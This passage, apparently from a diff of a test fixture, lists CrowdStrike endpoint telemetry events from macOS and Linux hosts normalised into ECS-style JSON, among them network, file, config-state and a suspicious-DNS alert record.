"{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677507.037\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364432308748445743\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"50647\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4MacV10\",\"id\":\"ffffffff-1111-11eb-8b36-06a8af5164a9\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff23d24c4193ffa6f270775ee5\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677507086\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff23d24c4193ffa6f270775ee5", - "os": { - "type": "macos" - } - }, - "message": "NetworkListenIP4", - "network": { - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff23d24c4193ffa6f270775ee5", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364432308748445743" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14", - "0.0.0.0" - ] - }, - "source": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 50647 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:36.784Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "364994904864288322", - "ContextTimeStamp": "2021-07-07T17:05:36.729Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb", - "name": "ExecutableDeletedMacV1" - }, - "device": { - "id": "ffffffffa7bf46da689501ce58bd6987" - }, - "event": { - "action": "ExecutableDeleted", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:36.784Z", - "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb|ffffffffa7bf46da689501ce58bd6987|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1625677536.729\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364994904864288322\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ExecutableDeletedMacV1\",\"id\":\"ffffffff-1111-11eb-8ca0-0231588e8cbb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffa7bf46da689501ce58bd6987\",\"timestamp\":\"1625677536784\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "file": { - "directory": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources", - "name": "ShipIt", - "path": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt", - "type": "file" - }, - "host": { - "id": "ffffffffa7bf46da689501ce58bd6987", - "os": { - "type": "macos" - } - }, - "message": "ExecutableDeleted", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffa7bf46da689501ce58bd6987", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364994904864288322", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:04.614Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "362897421906895953", - "ContextTimeStamp": "2021-07-07T17:05:04.542Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9320-06d410e6f705", - "name": "GzipFileWrittenMacV1" - }, - "device": { - "id": "fffffffffc2c4e4fa9c08e1a8388e5f9" - }, - "event": { - "action": "GzipFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:04.614Z", - "id": "ffffffff-1111-11eb-9320-06d410e6f705|fffffffffc2c4e4fa9c08e1a8388e5f9|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"event_simpleName\":\"GzipFileWritten\",\"ContextTimeStamp\":\"1625677504.542\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"362897421906895953\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000501f510700000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GzipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9320-06d410e6f705\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffc2c4e4fa9c08e1a8388e5f9\",\"timestamp\":\"1625677504614\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz\"}" - }, - "file": { - "directory": "/private/var/db/powerlog/Library/BatteryLife/Archives", - "extension": "gz", - "inode": "04000001000000000000000000000000501f510700000000", - "name": "powerlog_2021-07-05_CC5F9FC1.PLSQL.gz", - "path": "/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz", - "type": "file" - }, - "host": { - "id": "fffffffffc2c4e4fa9c08e1a8388e5f9", - "os": { - "type": "macos" - } - }, - "message": "GzipFileWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "fffffffffc2c4e4fa9c08e1a8388e5f9", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "362897421906895953", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:40.056Z", - "crowdstrike": { - "ConfigStateHash": "3967242894", - "ContextTimeStamp": "2021-07-07T01:52:50.595Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "IOServiceClass": "IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject", - "IOServiceName": "Touch Bar Backlight", - "IOServicePath": "IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", - "name": "IOServiceRegisterMacV1" - }, - "device": { - "id": "ffffffff44564c2f8d76394cb25c31ab" - }, - "event": { - "action": "IOServiceRegister", - "category": [ - "package" - ], - "created": "2021-07-07T17:04:40.056Z", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"IOServiceRegister\",\"ContextTimeStamp\":\"1625622770.595\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"IOServiceClass\":\"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject\",\"ConfigBuild\":\"1007.4.0013701.1\",\"IOServicePath\":\"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000\",\"event_platform\":\"Mac\",\"IOServiceProperties\":\"\",\"Entitlements\":\"15\",\"name\":\"IOServiceRegisterMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"IOServiceName\":\"Touch Bar Backlight\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff44564c2f8d76394cb25c31ab", - "os": { - "type": "macos" - } - }, - "message": "IOServiceRegister", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff44564c2f8d76394cb25c31ab", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:38.739Z", - "crowdstrike": { - "ConfigStateHash": "3967242894", - "ContextProcessId": "364938416497226937", - "ContextTimeStamp": "2021-07-07T01:50:02.031Z", - "DeviceId": "251658248", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", - "name": "PtyCreatedMacV1" - }, - "device": { - "id": "251658248" - }, - "event": { - "action": "PtyCreated", - "category": [ - "file" - ], - "created": "2021-07-07T17:04:38.739Z", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1625622602.031\",\"ConfigStateHash\":\"3967242894\",\"ContextProcessId\":\"364938416497226937\",\"DeviceId\":\"251658248\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PtyCreatedMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677478739\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "host": { - "id": "ffffffff44564c2f8d76394cb25c31ab", - "os": { - "type": "macos" - } - }, - "message": "PtyCreated", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff44564c2f8d76394cb25c31ab", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364938416497226937", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:35.967Z", - "crowdstrike": { - "ConfigStateHash": "1803419442", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "InterfaceIndex": 18, - "LocalAddressIP4": [ - "67.43.156.14" - ], - "NetLuidIndex": 2, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf", - "name": "LocalIpAddressRemovedIP4MacV1" - }, - "device": { - "id": "ffffffff5ae3449ab33a1809fe6c5ce2" - }, - "event": { - "action": "LocalIpAddressRemovedIP4", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:04:35.967Z", - "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf|ffffffff5ae3449ab33a1809fe6c5ce2|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"1803419442\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"18\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP4MacV1\",\"id\":\"ffffffff-1111-11eb-b7b7-066cc89bcebf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff5ae3449ab33a1809fe6c5ce2\",\"timestamp\":\"1625677475967\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff5ae3449ab33a1809fe6c5ce2", - "os": { - "type": "macos" - } - }, - "message": "LocalIpAddressRemovedIP4", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff5ae3449ab33a1809fe6c5ce2", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "1803419442" - ], - "ip": [ - "67.43.156.14" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:35.413Z", - "crowdstrike": { - "ConfigStateHash": "1701000200", - "ConnectionFlags": "0", - "ContextProcessId": "12241681491990", - "ContextTimeStamp": "2021-07-07T17:04:34.875Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "0:0:0:0:0:0:0:1" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8130-02cde7751097", - "name": "NetworkCloseIP6LinV6" - }, - "destination": { - "address": "0:0:0:0:0:0:0:1", - "ip": "0:0:0:0:0:0:0:1", - "port": 9 - }, - "device": { - "id": "ffffffff335f47ca89cad6a19f203bbd" - }, - "event": { - "action": "NetworkCloseIP6", - "category": [ - "network" - ], - "created": "2021-07-07T17:04:35.413Z", - "id": "ffffffff-1111-11eb-8130-02cde7751097|ffffffff335f47ca89cad6a19f203bbd|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"NetworkCloseIP6\",\"ContextTimeStamp\":\"1625677474.875\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12241681491990\",\"RemotePort\":\"9\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59999\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP6LinV6\",\"id\":\"ffffffff-1111-11eb-8130-02cde7751097\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff335f47ca89cad6a19f203bbd\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677475413\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "end", - "connection" - ] - }, - "host": { - "id": "ffffffff335f47ca89cad6a19f203bbd", - "os": { - "type": "linux" - } - }, - "message": "NetworkCloseIP6", - "network": { - "community_id": "1:3WneLMsNfPNapoUBcHO8QHx99mg=", - "direction": "unknown", - "iana_number": "17", - "transport": "udp" - }, - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff335f47ca89cad6a19f203bbd", - "version": "1007.8.0011308.1" - }, - "process": { - "entity_id": "12241681491990" - }, - "related": { - "hash": [ - "1701000200" - ], - "ip": [ - "67.43.156.13", - "0:0:0:0:0:0:0:1" - ] - }, - "source": { - "address": "0:0:0:0:0:0:0:1", - "ip": "0:0:0:0:0:0:0:1", - "port": 59999 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:50.580Z", - "crowdstrike": { - "ConfigStateData": [ - "0,0,1007.8.0011611.1", - "1,c,0", - "1,22,6", - "1,59,2d", - "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205" - ], - "ConfigStateHash": "1156120155", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-af89-06c111484f9f", - "name": "ConfigStateUpdateLinV2" - }, - "device": { - "id": "ffffffffa74a4c89b9984a3a7124bb9d" - }, - "event": { - "action": "ConfigStateUpdate", - "category": [ - "configuration" - ], - "created": "2021-07-07T17:04:50.580Z", - "id": "ffffffff-1111-11eb-af89-06c111484f9f|ffffffffa74a4c89b9984a3a7124bb9d|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1156120155\",\"ConfigStateData\":\"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV2\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-af89-06c111484f9f\",\"aid\":\"ffffffffa74a4c89b9984a3a7124bb9d\",\"timestamp\":\"1625677490580\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffffa74a4c89b9984a3a7124bb9d", - "os": { - "type": "linux" - } - }, - "message": "ConfigStateUpdate", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffa74a4c89b9984a3a7124bb9d", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1156120155" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:53.756Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "364839648316192383", - "ContextTimeStamp": "2021-07-07T17:04:53.531Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529", - "name": "SuspiciousDnsRequestMacV1" - }, - "device": { - "id": "ffffffff0cd64fb78626ab1b6c65ac8c" - }, - "dns": { - "question": { - "name": "hg-t2.dotice.me", - "registered_domain": "dotice.me", - "subdomain": "hg-t2", - "top_level_domain": "me", - "type": "A" - }, - "type": "query" - }, - "event": { - "action": "SuspiciousDnsRequest", - "category": [ - "network" - ], - "created": "2021-07-07T17:04:53.756Z", - "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529|ffffffff0cd64fb78626ab1b6c65ac8c|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "alert", - "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1625677493.531\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364839648316192383\",\"DomainName\":\"hg-t2.dotice.me\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"SuspiciousDnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-a4a3-02cbdfb8f529\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff0cd64fb78626ab1b6c65ac8c\",\"timestamp\":\"1625677493756\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"1\"}", - "outcome": "success", - "type": [ - "start", - "protocol" - ] - }, - "host": { - "id": "ffffffff0cd64fb78626ab1b6c65ac8c", - "os": { - "type": "macos" - } - }, - "message": "SuspiciousDnsRequest", - "network": { - "protocol": "dns" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff0cd64fb78626ab1b6c65ac8c", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364839648316192383", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:30.922Z", - "crowdstrike": { - "ConfigStateHash": "1156120155", - "ErrorStatus": "3759276032", - "Facility": "16778240", - "File": "0", - "Line": "96", - "Parameter1": "18446744072635810412", - "Parameter2": "0", - "Parameter3": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb", - "name": "ErrorEventLinV1" - }, - "device": { - "id": "ffffffffabd047b1a86c1fcd8ef22b59" - }, - "event": { - "action": "ErrorEvent", - "category": [ - "package" - ], - "created": "2021-07-07T17:05:30.922Z", - "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb|ffffffffabd047b1a86c1fcd8ef22b59|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"Parameter2\":\"0\",\"event_simpleName\":\"ErrorEvent\",\"Parameter1\":\"18446744072635810412\",\"Parameter3\":\"0\",\"ConfigStateHash\":\"1156120155\",\"aip\":\"67.43.156.14\",\"Line\":\"96\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ErrorStatus\":\"3759276032\",\"name\":\"ErrorEventLinV1\",\"id\":\"ffffffff-1111-11eb-bdd3-0681aa29cecb\",\"Facility\":\"16778240\",\"aid\":\"ffffffffabd047b1a86c1fcd8ef22b59\",\"File\":\"0\",\"timestamp\":\"1625677530922\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "failure", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffffabd047b1a86c1fcd8ef22b59", - "os": { - "type": "linux" - } - }, - "message": "ErrorEvent", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffabd047b1a86c1fcd8ef22b59", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1156120155" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:30.590Z", - "crowdstrike": { - "ConfigStateData": [ - "0,0,1007.4.0013701.1", - "1,2,1", - "1,4,a", - "1,6,0", - "1,8,46", - "1,a,1", - "1,c,0", - "1,17,1f", - "1,18,18", - "1,19,0", - "1,1e,407", - "1,21,3d2", - "1,27,1", - "1,53,18b", - "1,56,0", - "1,d0,16d", - "1,d1,0", - "1,d2,0", - "1,df,4c", - "1,e0,6", - "1,f6,1", - "1,1f5,1", - "1,1f7,1", - "1,1fd,1", - "1,200,0", - "2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0", - "3,0,65" - ], - "ConfigStateHash": "3090255842", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8dc4-0234c12f9875", - "name": "ConfigStateUpdateMacV2" - }, - "device": { - "id": "ffffffffa15a452190ae454f7d33e07e" - }, - "event": { - "action": "ConfigStateUpdate", - "category": [ - "configuration" - ], - "created": "2021-07-07T17:05:30.590Z", - "id": "ffffffff-1111-11eb-8dc4-0234c12f9875|ffffffffa15a452190ae454f7d33e07e|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"ConfigStateUpdate\",\"ConfigStateHash\":\"3090255842\",\"ConfigStateData\":\"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ConfigStateUpdateMacV2\",\"id\":\"ffffffff-1111-11eb-8dc4-0234c12f9875\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffa15a452190ae454f7d33e07e\",\"timestamp\":\"1625677530590\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": 